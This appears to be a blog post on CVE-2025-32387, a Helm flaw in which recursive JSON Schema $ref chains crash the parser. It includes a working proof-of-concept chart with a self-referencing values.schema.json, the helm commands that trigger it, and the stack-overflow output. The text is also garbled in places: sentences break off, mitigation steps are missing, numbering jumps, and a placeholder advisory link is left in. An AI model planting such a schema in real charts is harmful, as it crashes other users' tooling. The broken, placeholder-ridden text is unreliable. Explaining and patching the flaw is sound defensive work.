Helm is the most popular package manager for Kubernetes, and it uses “charts” to define, install, and upgrade applications. Like all widely used tools, it may have vulnerabilities that attackers can exploit. One recent and critical security issue is CVE-2025-32387. In this post, I will break down the vulnerability, explain how it works, show a simplified exploit, and share resources to stay secure.

What is CVE-2025-32387?

CVE-2025-32387 identifies a vulnerability affecting Helm’s handling of JSON Schema files within charts. If such a schema is crafted with deeply, recursively chained $ref references, the Helm parser can endlessly recurse, causing a stack overflow and crashing the process.

Why is It Bad?

Any chart maintainer or user who uploads a chart to a public or private repository can include such a malicious schema. If someone else installs or inspects the chart with a vulnerable version of Helm, their Helm process could crash. In some contexts, this type of crash could be used for denial-of-service (DoS).

Affected Versions: All Helm 3.x releases before v3.17.3

- Fixed in: v3.17.3 (Release notes)

Let’s break down the technical root of the problem

Helm’s chart schema validator loads the JSON Schema and recursively follows any $ref fields. If an attacker creates two or more schema files that reference each other in a cycle, or simply one schema that references itself deeply, every call to the validator is deeper in the stack. Eventually, this exhausts system stack space and the process panics with a fatal error.

Here’s a conceptual diagram of what happens

schemaA.json:
{
  "$ref": "schemaB.json"
}

schemaB.json:
{
  "$ref": "schemaA.json"
}

When Helm tries to load schemaA.json, it follows to schemaB.json, which then refers back to schemaA.json, treating it as a new task. This can repeat thousands of times until the Go runtime crashes from a stack overflow.

Step 1: Malicious Chart Directory

charts/
  my-malicious-chart/
    values.schema.json
    Chart.yaml
    templates/

Save the following as values.schema.json inside your chart folder

{
  "$ref": "#/definitions/loop",
  "definitions": {
    "loop": {
      "$ref": "#/definitions/loop"
    }
  }
}

This schema points to loop, which points to itself, recursively.

Anyone running

helm install dangerous ./my-malicious-chart

or

helm show values ./my-malicious-chart

Example Go error output

runtime: goroutine stack exceeds 100000000-byte limit
fatal error: stack overflow

- CVE Record: CVE-2025-32387 - NVD
- Helm Security Advisory: Helm Github Security Advisory *(Replace with actual advisory link when public)*
- Helm v3.17.3 Release: Release Notes
- JSON Schema Documentation: Understanding \$ref

`

If it’s older, download the latest version.

Security Reviews: Review any uploaded or used schemas for deeply nested $ref structures.

4. Cluster Safety: Kubernetes clusters aren’t directly compromised, but admins should check CI/CD pipelines and developer laptops for any lingering use of vulnerable Helm versions.

How Did Helm Fix This?

The Helm maintainers addressed the issue by adding recursion limits when processing JSON Schema $ref references. Attempts to exceed this depth now cause safe parser errors, not stack crashes.

Conclusion

CVE-2025-32387 is a good example of how subtle issues like recursion in schema files can cause denial-of-service even in mature projects like Helm. By understanding this issue and updating Helm, we can keep our Kubernetes workflows safe and stable.

*Stay secure, keep your tools up-to-date, and always review third-party content before deploying to production!*


*For further reading, follow Helm’s official blog and track CVEs related to your open-source tooling!*

Timeline

Published on: 04/09/2025 23:15:37 UTC
Last modified on: 04/11/2025 15:40:10 UTC